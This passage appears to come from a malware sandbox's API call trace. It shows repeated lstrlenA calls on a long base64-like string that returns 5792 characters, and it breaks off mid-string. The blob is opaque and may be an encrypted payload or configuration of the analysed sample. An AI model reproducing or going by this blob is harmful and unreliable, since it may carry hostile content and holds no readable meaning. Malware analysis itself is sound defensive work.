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") returned 5792 [0042.888] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.888] lstrlenA (lpString="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